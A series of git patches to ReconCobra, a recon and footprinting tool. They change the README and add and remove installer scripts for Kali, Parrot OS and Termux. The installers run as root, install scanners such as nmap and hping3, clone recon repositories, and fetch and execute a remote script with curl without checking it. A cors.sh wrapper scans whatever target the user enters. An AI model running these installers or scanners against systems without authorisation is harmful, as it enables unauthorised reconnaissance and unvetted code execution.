+- ./Kali_Installer.sh +- ReconCobra will integrate as system software +- Dependencies will be handled automatically +- Third party software(s)/dependencies/modules will be handled automatically + +# Parrot OS Installation +- git clone https://github.com/haroonawanofficial/Reconcobra.git +- cd Reconcobra +- sudo chmod u+x *.sh +- ./Parrot_Installer.sh - ReconCobra will integrate as system software - Dependencies will be handled automatically - Third party software(s)/dependencies/modules will be handled automatically @@ -50,8 +59,8 @@ EULA - git clone https://github.com/haroonawanofficial/Reconcobra.git - cd Reconcobra - chmod u+x *.sh -- ./termuxinstaller.sh -- perl ReconCobratermux.pl +- ./Termux_Installer.sh +- perl ReconCobraTermux.pl - Dependencies will be handled automatically for Termux - Third party software(s)/dependencies/modules will be handled automatically for Termux From 17b2f47c1a73a38f9f453011f794246cbd99733a Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 1 Jul 2019 00:03:42 +0500 Subject: [PATCH 168/272] Update README.md --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index d490062..47cfa2e 100644 --- a/README.md +++ b/README.md @@ -70,6 +70,9 @@ EULA # Running in Termux - perl ReconCobraTermux.pl +# Running in Parrot OS +- ReconCobra + # Mail - mrharoonawan@gmail.com - Haroon Awan From ada780661802211eaf4cda642981669e4926f458 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 1 Jul 2019 00:11:17 +0500 Subject: [PATCH 169/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 47cfa2e..c67b6bd 100644 --- a/README.md +++ b/README.md @@ -50,7 +50,7 @@ EULA - git clone https://github.com/haroonawanofficial/Reconcobra.git - cd Reconcobra - sudo chmod u+x *.sh -- ./Parrot_Installer.sh +- ./ParrotOS_Installer.sh - ReconCobra will integrate as system software - Dependencies will be handled automatically - Third party software(s)/dependencies/modules will be handled automatically From 2de4cac8405ebfef77cd105689e83fb28946e644 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 1 Jul 2019 00:11:50 +0500 Subject: [PATCH 170/272] Add files via upload --- Kali_Installer.sh | 1 + ParrotOS_Installer.sh | 170 ++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 171 insertions(+) create mode 100644 ParrotOS_Installer.sh diff --git a/Kali_Installer.sh b/Kali_Installer.sh index 2e2fdea..56bfc5b 100644 --- a/Kali_Installer.sh +++ b/Kali_Installer.sh @@ -147,6 +147,7 @@ cd .. cd .. chmod u+x *.sh cp * -r /usr/share/ReconCobra +cp *.sh /usr/share/ReconCobra if [ -d "/usr/share/ReconCobra" ] ; then diff --git a/ParrotOS_Installer.sh b/ParrotOS_Installer.sh new file mode 100644 index 0000000..56bfc5b --- /dev/null +++ b/ParrotOS_Installer.sh @@ -0,0 +1,170 @@ +# *************************************************************************************** # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# Agreement between "Haroon Awan" and "You"(user). # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# 1. By using this piece of software your bound to these point. # +# 2. This an End User License Agreement (EULA) is a legal between a software application # +# author "Haroon Awan" and (YOU) user of this software. # +# 3. This software application grants users rights to use for any purpose or modify and # +# redistribute creative works. # +# 4. This software comes in "is-as" warranty, author "Haroon Awan" take no responsbility # +# what you do with by/this software as your free to use this software. # +# 5. Any other purpose(s) that it suites as long as it is not related to any kind of # +# crime or using it in un-authorized environment. # +# 6. You can use this software to protect and secure your data information in any # +# environment. # +# 7. It can also be used in state of being protection against the unauthorized use of # +# information. # +# 8. It can be used to take measures achieve protection. # +# *************************************************************************************** # + +#!/bin/bash + +red="\e[0;31m" +green="\e[0;32m" +off="\e[0m" + +function banner() { +clear +echo " "; +echo " "; +echo " "; +echo " .########...########..######.....#######...##....##.....######.....#######....######....########......########.. "; +echo " .##.....##..##.......##....##..##.....##..###...##....##....##...##.....##...##...##...##.....##....##.....##. "; +echo " .##.....##..##.......##........##.....##..####..##....##.........##.....##...##..##....##......##...##.....##. "; +echo " .########...######...##........##.....##..##.##.##....##.........##.....##...##..##....#########....#########. "; +echo " .##...##....##.......##........##.....##..##..####....##.........##.....##...##...##...##....##.....##.....##. "; +echo " .##....##...##.......##....##..##.....##..##...###....##....##...##.....##...##...###..##.....##....##.....##. "; +echo " .##.....##..########..######....#######...##....##.....######.....#######....#######...##......##...##.....##. "; +echo " Ultimate Recon and Foot Printing Software Version 1.0a "; +echo " [Coded By: Haroon Awan] "; +echo " [Contact: mrharoonawan@gmail.com] "; +echo " "; +echo " "; +echo " "; +} + +function linux() { +echo -e "$red [$green+$red]$off Installing Perl ..."; +sudo apt-get install -y perl +echo -e "$red [$green+$red]$off Installing JSON Module ..."; +cpan install JSON +echo -e "$red [$green+$red]$off Installing Extra Perl Modules ..."; +echo "y" | cpan install WWW::Mechanize +echo "y" | cpan install use HTML::TokeParser +echo "y" | cpan install Term::ANSIColor +echo "y" | cpan install Mojo::DOM +echo "y" | cpan install Data::Dumper +echo "y" | cpan install Win32::Console::ANSI +echo "y" | cpan install HTML::TableExtract +echo "y" | cpan install Data::Validate::Domain +echo "y" | cpan install LWP::Protocol::https +echo "y" | cpan install Mozilla::CA +echo "y" | cpan install Bundle::LWP + + +echo -e "$red [$green+$red]$off Checking directories..." +if [ -d "/usr/share/ReconCobra" ]; then + echo -e "$red [$green+$red]$off A Directory ReconCobra Was Found! Do You Want To Replace It? [Y/n]:" ; + read replace + if [ "$replace" = "Y" ]; then + sudo rm -r "/usr/share/ReconCobra" + sudo rm "/usr/share/icons/ReconCobra.png" + sudo rm "/usr/share/applications/ReconCobra.desktop" + sudo rm "/usr/local/bin/ReconCobra" + +else +echo -e "$red [$green+$red]$off If You Want To Install You Must Remove Previous Installations"; + exit + fi +fi + +echo -e "$red [$green+$red]$off Installing ..."; +echo -e "$red [$green+$red]$off Creating Symbolic Link ..."; +echo -e "#!/bin/bash +perl /usr/share/ReconCobra/ReconCobra.pl" '${1+"$@"}' > "ReconCobra"; + chmod +x "ReconCobra"; + sudo mkdir "/usr/share/ReconCobra" + sudo cp "installer.sh" "/usr/share/ReconCobra" + sudo cp "ReconCobra.pl" "/usr/share/ReconCobra" + sudo cp "config/ReconCobra.jpeg" "/usr/share/icons" + sudo cp "config/ReconCobra.desktop" "/usr/share/applications" + sudo cp "ReconCobra" "/usr/local/bin/" + rm "ReconCobra"; + +echo -e "$red [$green+$red]$off Installing dependencies..." +echo "y" | apt-get install xdg-utils +echo "y" | apt-get install cargo +echo "y" | apt-get install python-yaml +echo "y" | apt-get install hping3 +echo "y" | apt-get install python2.7 +echo "y" | apt-get install python3 + +echo "y" | apt-get install golang +echo "y" | apt-get install curl +echo "y" | apt-get install nfs-common +echo "y" | apt-get install smbclient +echo "y" | apt-get install gem +gem install wayback_machine_downloader +echo "y" | apt-get install perl-LWP-Protocol-https +echo "y" | git clone https://github.com/xroche/httrack.git --recurse +cd httrack +./configure --prefix=$HOME/usr && make -j8 && make install +cd .. +echo "y" | git clone https://github.com/haroonawanofficial/cobra.git +echo "y" | git clone https://github.com/haroonawanofficial/maahro.git +echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git +echo "y" | git clone https://github.com/chenjj/CORScanner.git +cd CORScanner +pip install -r requirements.txt +cd .. +echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git +echo "y" | git clone https://github.com/exiftool/exiftool.git +echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git +echo "y" | git clone https://github.com/sensepost/BiLE-suite.git +echo "y" | git clone https://github.com/haroonawanofficial/vasl.git +echo "y" | git clone https://github.com/haroonawanofficial/panthera.git +echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git +echo "y" | git clone https://github.com/heycam/json-describe +cd json-describe +cargo build +cd .. +echo "y" | apt-get install nmap +pip install jsbeautifier +pip install argparse +pip install requests +pip install request +cd SearchEngineScrapy +pip install -r requirements.txt +sudo virtualenv --python="2" env +sudo env/bin/activate +cd .. +echo "y" | git clone https://github.com/FortyNorthSecurity/EyeWitness.git +cd EyeWitness/setup +chmod u+x setup.sh +./setup.sh +cd .. +cd .. +chmod u+x *.sh +cp * -r /usr/share/ReconCobra +cp *.sh /usr/share/ReconCobra + +if [ -d "/usr/share/ReconCobra" ] ; +then +echo -e "$red [$green+$red]$off ReconCobra Successfully Installed, Starting"; +sleep 2; +ReconCobra +else +echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; + exit +fi +} + +if [ -d "/usr/bin/" ];then +banner +echo -e "$red [$green+$red]$off ReconCobra Will Be Installed In Your System"; +linux +else +echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; + exit +fi From 510aa9ca3a4e73ec2dfee49a751decae29f2327e Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 1 Jul 2019 00:17:09 +0500 Subject: [PATCH 171/272] Add files via upload --- ReconCobra.pl | 2 +- ReconCobraTermux.pl | 7 +++++-- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 98bc814..91b0fb6 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -671,7 +671,7 @@ sub banner { print color('bold white on_bright_red')," Mail ";print color('reset'),"";print color('bright_blue')," mrharoonawan\@gmail.com\n"; print color('reset'); -print color('bold red on_blue')," Homepage ";print color('reset'),"";print color('bold red')," http://www.instagram.com/\Hacker_Universe\n"; +print color('bold red on_blue')," Homepage ";print color('reset'),"";print color('bold red')," http://www.instagram.com/\Hackeruniversee\n"; print color('reset'); print color('bold yellow on_red')," Official Web ";print color('reset'),"";print color('bold yellow')," http://www.mubassirkamdar.com\n"; diff --git a/ReconCobraTermux.pl b/ReconCobraTermux.pl index 255990a..defb09f 100644 --- a/ReconCobraTermux.pl +++ b/ReconCobraTermux.pl @@ -669,7 +669,10 @@ sub banner { print color('bold red on_black')," Info ";print color('reset'),"";print color('bold white')," version 1.9a, [Coded By: Haroon Awan]\n"; print color('reset'); -print color('bold red on_blue')," Mail ";print color('reset'),"";print color('bold red')," mrharoonawan\@gmail.com\n"; +print color('bold white on_bright_red')," Mail ";print color('reset'),"";print color('bright_blue')," mrharoonawan\@gmail.com\n"; +print color('reset'); + +print color('bold red on_blue')," Homepage ";print color('reset'),"";print color('bold red')," http://www.instagram.com/\Hackeruniversee\n"; print color('reset'); print color('bold yellow on_red')," Official Web ";print color('reset'),"";print color('bold yellow')," http://www.mubassirkamdar.com\n"; @@ -678,7 +681,7 @@ sub banner { print color('bold green on_black')," Facebook ";print color('reset'),"";print color('bold green')," fb.com\\Mubassir.py\n"; print color('reset'); -print color('bold white on_blue')," Instagram ";print color('reset'),"";print color('bold white')," http://www.instagram.com/\Hacker_Universe\n"; +print color('bold white on_blue')," Instagram ";print color('reset'),"";print color('bold white')," http://www.instagram.com/\hackerfromscratch\n"; print color('reset'); From ea3c18cebc314f8bef8f1abd3359705e218539ba Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 1 Jul 2019 00:17:23 +0500 Subject: [PATCH 172/272] Delete Parrot_Installer.sh --- Parrot_Installer.sh | 169 -------------------------------------------- 1 file changed, 169 deletions(-) delete mode 100644 Parrot_Installer.sh diff --git a/Parrot_Installer.sh b/Parrot_Installer.sh deleted file mode 100644 index 2e2fdea..0000000 --- a/Parrot_Installer.sh +++ /dev/null @@ -1,169 +0,0 @@ -# *************************************************************************************** # -# ---------------------------------- EULA NOTICE ---------------------------------------- # -# Agreement between "Haroon Awan" and "You"(user). # -# ---------------------------------- EULA NOTICE ---------------------------------------- # -# 1. By using this piece of software your bound to these point. # -# 2. This an End User License Agreement (EULA) is a legal between a software application # -# author "Haroon Awan" and (YOU) user of this software. # -# 3. This software application grants users rights to use for any purpose or modify and # -# redistribute creative works. # -# 4. This software comes in "is-as" warranty, author "Haroon Awan" take no responsbility # -# what you do with by/this software as your free to use this software. # -# 5. Any other purpose(s) that it suites as long as it is not related to any kind of # -# crime or using it in un-authorized environment. # -# 6. You can use this software to protect and secure your data information in any # -# environment. # -# 7. It can also be used in state of being protection against the unauthorized use of # -# information. # -# 8. It can be used to take measures achieve protection. # -# *************************************************************************************** # - -#!/bin/bash - -red="\e[0;31m" -green="\e[0;32m" -off="\e[0m" - -function banner() { -clear -echo " "; -echo " "; -echo " "; -echo " .########...########..######.....#######...##....##.....######.....#######....######....########......########.. "; -echo " .##.....##..##.......##....##..##.....##..###...##....##....##...##.....##...##...##...##.....##....##.....##. "; -echo " .##.....##..##.......##........##.....##..####..##....##.........##.....##...##..##....##......##...##.....##. "; -echo " .########...######...##........##.....##..##.##.##....##.........##.....##...##..##....#########....#########. "; -echo " .##...##....##.......##........##.....##..##..####....##.........##.....##...##...##...##....##.....##.....##. "; -echo " .##....##...##.......##....##..##.....##..##...###....##....##...##.....##...##...###..##.....##....##.....##. "; -echo " .##.....##..########..######....#######...##....##.....######.....#######....#######...##......##...##.....##. "; -echo " Ultimate Recon and Foot Printing Software Version 1.0a "; -echo " [Coded By: Haroon Awan] "; -echo " [Contact: mrharoonawan@gmail.com] "; -echo " "; -echo " "; -echo " "; -} - -function linux() { -echo -e "$red [$green+$red]$off Installing Perl ..."; -sudo apt-get install -y perl -echo -e "$red [$green+$red]$off Installing JSON Module ..."; -cpan install JSON -echo -e "$red [$green+$red]$off Installing Extra Perl Modules ..."; -echo "y" | cpan install WWW::Mechanize -echo "y" | cpan install use HTML::TokeParser -echo "y" | cpan install Term::ANSIColor -echo "y" | cpan install Mojo::DOM -echo "y" | cpan install Data::Dumper -echo "y" | cpan install Win32::Console::ANSI -echo "y" | cpan install HTML::TableExtract -echo "y" | cpan install Data::Validate::Domain -echo "y" | cpan install LWP::Protocol::https -echo "y" | cpan install Mozilla::CA -echo "y" | cpan install Bundle::LWP - - -echo -e "$red [$green+$red]$off Checking directories..." -if [ -d "/usr/share/ReconCobra" ]; then - echo -e "$red [$green+$red]$off A Directory ReconCobra Was Found! Do You Want To Replace It? [Y/n]:" ; - read replace - if [ "$replace" = "Y" ]; then - sudo rm -r "/usr/share/ReconCobra" - sudo rm "/usr/share/icons/ReconCobra.png" - sudo rm "/usr/share/applications/ReconCobra.desktop" - sudo rm "/usr/local/bin/ReconCobra" - -else -echo -e "$red [$green+$red]$off If You Want To Install You Must Remove Previous Installations"; - exit - fi -fi - -echo -e "$red [$green+$red]$off Installing ..."; -echo -e "$red [$green+$red]$off Creating Symbolic Link ..."; -echo -e "#!/bin/bash -perl /usr/share/ReconCobra/ReconCobra.pl" '${1+"$@"}' > "ReconCobra"; - chmod +x "ReconCobra"; - sudo mkdir "/usr/share/ReconCobra" - sudo cp "installer.sh" "/usr/share/ReconCobra" - sudo cp "ReconCobra.pl" "/usr/share/ReconCobra" - sudo cp "config/ReconCobra.jpeg" "/usr/share/icons" - sudo cp "config/ReconCobra.desktop" "/usr/share/applications" - sudo cp "ReconCobra" "/usr/local/bin/" - rm "ReconCobra"; - -echo -e "$red [$green+$red]$off Installing dependencies..." -echo "y" | apt-get install xdg-utils -echo "y" | apt-get install cargo -echo "y" | apt-get install python-yaml -echo "y" | apt-get install hping3 -echo "y" | apt-get install python2.7 -echo "y" | apt-get install python3 - -echo "y" | apt-get install golang -echo "y" | apt-get install curl -echo "y" | apt-get install nfs-common -echo "y" | apt-get install smbclient -echo "y" | apt-get install gem -gem install wayback_machine_downloader -echo "y" | apt-get install perl-LWP-Protocol-https -echo "y" | git clone https://github.com/xroche/httrack.git --recurse -cd httrack -./configure --prefix=$HOME/usr && make -j8 && make install -cd .. -echo "y" | git clone https://github.com/haroonawanofficial/cobra.git -echo "y" | git clone https://github.com/haroonawanofficial/maahro.git -echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git -echo "y" | git clone https://github.com/chenjj/CORScanner.git -cd CORScanner -pip install -r requirements.txt -cd .. -echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git -echo "y" | git clone https://github.com/exiftool/exiftool.git -echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git -echo "y" | git clone https://github.com/sensepost/BiLE-suite.git -echo "y" | git clone https://github.com/haroonawanofficial/vasl.git -echo "y" | git clone https://github.com/haroonawanofficial/panthera.git -echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git -echo "y" | git clone https://github.com/heycam/json-describe -cd json-describe -cargo build -cd .. -echo "y" | apt-get install nmap -pip install jsbeautifier -pip install argparse -pip install requests -pip install request -cd SearchEngineScrapy -pip install -r requirements.txt -sudo virtualenv --python="2" env -sudo env/bin/activate -cd .. -echo "y" | git clone https://github.com/FortyNorthSecurity/EyeWitness.git -cd EyeWitness/setup -chmod u+x setup.sh -./setup.sh -cd .. -cd .. -chmod u+x *.sh -cp * -r /usr/share/ReconCobra - -if [ -d "/usr/share/ReconCobra" ] ; -then -echo -e "$red [$green+$red]$off ReconCobra Successfully Installed, Starting"; -sleep 2; -ReconCobra -else -echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; - exit -fi -} - -if [ -d "/usr/bin/" ];then -banner -echo -e "$red [$green+$red]$off ReconCobra Will Be Installed In Your System"; -linux -else -echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; - exit -fi From 5710d370162183da7f59782e2b600d1b58af0075 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 1 Jul 2019 00:38:39 +0500 Subject: [PATCH 173/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index c67b6bd..916c124 100644 --- a/README.md +++ b/README.md @@ -50,7 +50,7 @@ EULA - git clone https://github.com/haroonawanofficial/Reconcobra.git - cd Reconcobra - sudo chmod u+x *.sh -- ./ParrotOS_Installer.sh +- Bash ParrotOS_Installer.sh - ReconCobra will integrate as system software - Dependencies will be handled automatically - Third party software(s)/dependencies/modules will be handled automatically From 3b13a8fc7ccc45cacd73170762d871670395739e Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 1 Jul 2019 00:41:28 +0500 Subject: [PATCH 174/272] Add files via upload --- cors.sh | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/cors.sh b/cors.sh index d05f43f..db845c1 100644 --- a/cors.sh +++ b/cors.sh @@ -1,6 +1,5 @@ #!/bin/bash -cd CORScanner/ echo -n "[ + ] Enter Target: " read Target -python2 cors_scan.py -u $Target --verbose -cd .. +cd CORScanner +python2 cors_scan.py -u $Target --verbose \ No newline at end of file From 5abbcd82d51730be0af05772f6a30b3b8fa8f82c Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 1 Jul 2019 00:42:43 +0500 Subject: [PATCH 175/272] Update README.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 916c124..c35e1fa 100644 --- a/README.md +++ b/README.md @@ -38,7 +38,7 @@ EULA # Kali Installation -- git clone https://github.com/haroonawanofficial/Reconcobra.git +- git clone https://github.com/haroonawanofficial/ReconCobra.git - cd Reconcobra - sudo chmod u+x *.sh - ./Kali_Installer.sh @@ -47,7 +47,7 @@ EULA - Third party software(s)/dependencies/modules will be handled automatically # Parrot OS Installation -- git clone https://github.com/haroonawanofficial/Reconcobra.git +- git clone https://github.com/haroonawanofficial/ReconCobra.git - cd Reconcobra - sudo chmod u+x *.sh - Bash ParrotOS_Installer.sh @@ -56,7 +56,7 @@ EULA - Third party software(s)/dependencies/modules will be handled automatically # Termux Installation -- git clone https://github.com/haroonawanofficial/Reconcobra.git +- git clone https://github.com/haroonawanofficial/ReconCobra.git - cd Reconcobra - chmod u+x *.sh - ./Termux_Installer.sh From 99f3cfea6d87b0704cf98a0fc9112127166a9434 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 1 Jul 2019 00:47:13 +0500 Subject: [PATCH 176/272] Add files via upload --- Termux_Installer.sh | 119 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 119 insertions(+) create mode 100644 Termux_Installer.sh diff --git a/Termux_Installer.sh b/Termux_Installer.sh new file mode 100644 index 0000000..9ae0474 --- /dev/null +++ b/Termux_Installer.sh @@ -0,0 +1,119 @@ +# *************************************************************************************** # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# Agreement between "Haroon Awan" and "You"(user). # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# 1. By using this piece of software your bound to these point. # +# 2. This an End User License Agreement (EULA) is a legal between a software application # +# author "Haroon Awan" and (YOU) user of this software. # +# 3. This software application grants users rights to use for any purpose or modify and # +# redistribute creative works. # +# 4. This software comes in "is-as" warranty, author "Haroon Awan" take no responsbility # +# what you do with by/this software as your free to use this software. # +# 5. Any other purpose(s) that it suites as long as it is not related to any kind of # +# crime or using it in un-authorized environment. # +# 6. You can use this software to protect and secure your data information in any # +# environment. # +# 7. It can also be used in state of being protection against the unauthorized use of # +# information. # +# 8. It can be used to take measures achieve protection. # +# *************************************************************************************** # + +#!/bin/bash + +clear + +echo "Ultimate Recon and Foot Printing Software Version 1.0a"; +echo "Termux Installer By: Haroon Awan and Hacker_Universe"; +echo "Coded By: Haroon Awan"; +echo "Mail: mrharoonawan@gmail.com"; +echo ""; + + +echo -e "prerequisite install" +apt-get install wget +apt-get install make +apt-get install clang +apt-get install unzip +apt-get install tar +echo -e "Installing Perl ..."; +apt-get install -y perl +echo -e "Installing JSON Module ..."; +cpan install JSON +echo -e "Installing Extra Perl Modules ..."; +echo "y" | wget https://cpan.metacpan.org/authors/id/B/BP/BPS/HTTP-Server-Simple-0.52.tar.gz +tar -xvf HTTP-Server-Simple-0.52.tar.gz +cd HTTP-Server-Simple-0.52 +perl Makefile.PL +make +make install +cd .. +echo "y" | cpan install WWW::Mechanize +echo "y" | cpan install use HTML::TokeParser +echo "y" | cpan install Term::ANSIColor +echo "y" | cpan install Mojo::DOM +echo "y" | cpan install Data::Dumper +echo "y" | cpan install Win32::Console::ANSI +echo "y" | cpan install HTML::TableExtract +echo "y" | cpan install Data::Validate::Domain +echo "y" | cpan install LWP::Protocol::https +echo "y" | cpan install Mozilla::CA +echo "y" | cpan install Bundle::LWP + + +echo -e "Installing dependencies ..."; +echo "y" | apt-get install xdg-utils +echo "y" | apt-get install python-yaml +echo "y" | apt-get install hping3 +echo "y" | apt-get install python +echo "y" | apt-get install golang +echo "y" | apt-get install curl +echo "y" | apt-get install nfs-common +echo "y" | apt-get install smbclient +echo "y" | apt-get install cargo +echo "y" | apt-get install gem +gem install wayback_machine_downloader +echo "y" | apt-get install perl-LWP-Protocol-https +echo "y" | git clone https://github.com/haroonawanofficial/cobra.git +curl -LO https://raw.githubusercontent.com/Hax4us/httrack_In_termux/master/httrack +cd httrack +chmod u+x * +sh httrack +cd .. +echo "y" | git clone https://github.com/haroonawanofficial/maahro.git +echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git +echo "y" | git clone https://github.com/chenjj/CORScanner.git +cd CORScanner +pip install -r requirements.txt +cd .. +echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git +echo "y" | git clone https://github.com/exiftool/exiftool.git +echo "y" | git clone https://github.com/sensepost/BiLE-suite.git +echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git +cd LinkFinder +python setup.py install +echo "y" | git clone https://github.com/heycam/json-describe +cd json-describe +cargo build +cd .. +echo "y" | https://github.com/haroonawanofficial/vasl.git +echo "y" | apt-get install nmap +echo "y" | git clone https://github.com/haroonawanofficial/panthera.git +echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git +pip install jsbeautifier +pip install argparse +pip install requests +pip install request +cd SearchEngineScrapy +pip install -r requirements.txt +virtualenv --python="2" env +env/bin/activate +cd .. +echo "y" | git clone https://github.com/FortyNorthSecurity/EyeWitness.git +cd EyeWitness/setup +chmod u+x setup.sh +./setup.sh +cd .. +cd .. +chmod u+x *.sh + +echo -e "Installed, run perl ReconCobratermux.pl for interface!"; \ No newline at end of file From a74d6a2e7adcb19275e9fb1044c5150236d19d46 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 1 Jul 2019 00:47:27 +0500 Subject: [PATCH 177/272] Delete termuxinstaller.sh --- termuxinstaller.sh | 119 --------------------------------------------- 1 file changed, 119 deletions(-) delete mode 100644 termuxinstaller.sh diff --git a/termuxinstaller.sh b/termuxinstaller.sh deleted file mode 100644 index 9ae0474..0000000 --- a/termuxinstaller.sh +++ /dev/null @@ -1,119 +0,0 @@ -# *************************************************************************************** # -# ---------------------------------- EULA NOTICE ---------------------------------------- # -# Agreement between "Haroon Awan" and "You"(user). # -# ---------------------------------- EULA NOTICE ---------------------------------------- # -# 1. By using this piece of software your bound to these point. # -# 2. This an End User License Agreement (EULA) is a legal between a software application # -# author "Haroon Awan" and (YOU) user of this software. # -# 3. This software application grants users rights to use for any purpose or modify and # -# redistribute creative works. # -# 4. This software comes in "is-as" warranty, author "Haroon Awan" take no responsbility # -# what you do with by/this software as your free to use this software. # -# 5. Any other purpose(s) that it suites as long as it is not related to any kind of # -# crime or using it in un-authorized environment. # -# 6. You can use this software to protect and secure your data information in any # -# environment. # -# 7. It can also be used in state of being protection against the unauthorized use of # -# information. # -# 8. It can be used to take measures achieve protection. # -# *************************************************************************************** # - -#!/bin/bash - -clear - -echo "Ultimate Recon and Foot Printing Software Version 1.0a"; -echo "Termux Installer By: Haroon Awan and Hacker_Universe"; -echo "Coded By: Haroon Awan"; -echo "Mail: mrharoonawan@gmail.com"; -echo ""; - - -echo -e "prerequisite install" -apt-get install wget -apt-get install make -apt-get install clang -apt-get install unzip -apt-get install tar -echo -e "Installing Perl ..."; -apt-get install -y perl -echo -e "Installing JSON Module ..."; -cpan install JSON -echo -e "Installing Extra Perl Modules ..."; -echo "y" | wget https://cpan.metacpan.org/authors/id/B/BP/BPS/HTTP-Server-Simple-0.52.tar.gz -tar -xvf HTTP-Server-Simple-0.52.tar.gz -cd HTTP-Server-Simple-0.52 -perl Makefile.PL -make -make install -cd .. -echo "y" | cpan install WWW::Mechanize -echo "y" | cpan install use HTML::TokeParser -echo "y" | cpan install Term::ANSIColor -echo "y" | cpan install Mojo::DOM -echo "y" | cpan install Data::Dumper -echo "y" | cpan install Win32::Console::ANSI -echo "y" | cpan install HTML::TableExtract -echo "y" | cpan install Data::Validate::Domain -echo "y" | cpan install LWP::Protocol::https -echo "y" | cpan install Mozilla::CA -echo "y" | cpan install Bundle::LWP - - -echo -e "Installing dependencies ..."; -echo "y" | apt-get install xdg-utils -echo "y" | apt-get install python-yaml -echo "y" | apt-get install hping3 -echo "y" | apt-get install python -echo "y" | apt-get install golang -echo "y" | apt-get install curl -echo "y" | apt-get install nfs-common -echo "y" | apt-get install smbclient -echo "y" | apt-get install cargo -echo "y" | apt-get install gem -gem install wayback_machine_downloader -echo "y" | apt-get install perl-LWP-Protocol-https -echo "y" | git clone https://github.com/haroonawanofficial/cobra.git -curl -LO https://raw.githubusercontent.com/Hax4us/httrack_In_termux/master/httrack -cd httrack -chmod u+x * -sh httrack -cd .. -echo "y" | git clone https://github.com/haroonawanofficial/maahro.git -echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git -echo "y" | git clone https://github.com/chenjj/CORScanner.git -cd CORScanner -pip install -r requirements.txt -cd .. -echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git -echo "y" | git clone https://github.com/exiftool/exiftool.git -echo "y" | git clone https://github.com/sensepost/BiLE-suite.git -echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git -cd LinkFinder -python setup.py install -echo "y" | git clone https://github.com/heycam/json-describe -cd json-describe -cargo build -cd .. -echo "y" | https://github.com/haroonawanofficial/vasl.git -echo "y" | apt-get install nmap -echo "y" | git clone https://github.com/haroonawanofficial/panthera.git -echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git -pip install jsbeautifier -pip install argparse -pip install requests -pip install request -cd SearchEngineScrapy -pip install -r requirements.txt -virtualenv --python="2" env -env/bin/activate -cd .. -echo "y" | git clone https://github.com/FortyNorthSecurity/EyeWitness.git -cd EyeWitness/setup -chmod u+x setup.sh -./setup.sh -cd .. -cd .. -chmod u+x *.sh - -echo -e "Installed, run perl ReconCobratermux.pl for interface!"; \ No newline at end of file From ba5f6d5d5d35e282022a9fabfd0f085bcb2db095 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 1 Jul 2019 00:55:07 +0500 Subject: [PATCH 178/272] Add files via upload --- Termux_Installer.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/Termux_Installer.sh b/Termux_Installer.sh index 9ae0474..d34f62b 100644 --- a/Termux_Installer.sh +++ b/Termux_Installer.sh @@ -116,4 +116,6 @@ cd .. cd .. chmod u+x *.sh -echo -e "Installed, run perl ReconCobratermux.pl for interface!"; \ No newline at end of file +echo -e "[+] Installed Success!"; +echo -e "[+] Please restart your Termux"; +echo -e "[+] Upon successful restart enter this command for interface, perl ReconCobratermux.pl"; \ No newline at end of file From b6c130f5c9cbfe0851d7eb1dfcac0a2ef47d6d5b Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 1 Jul 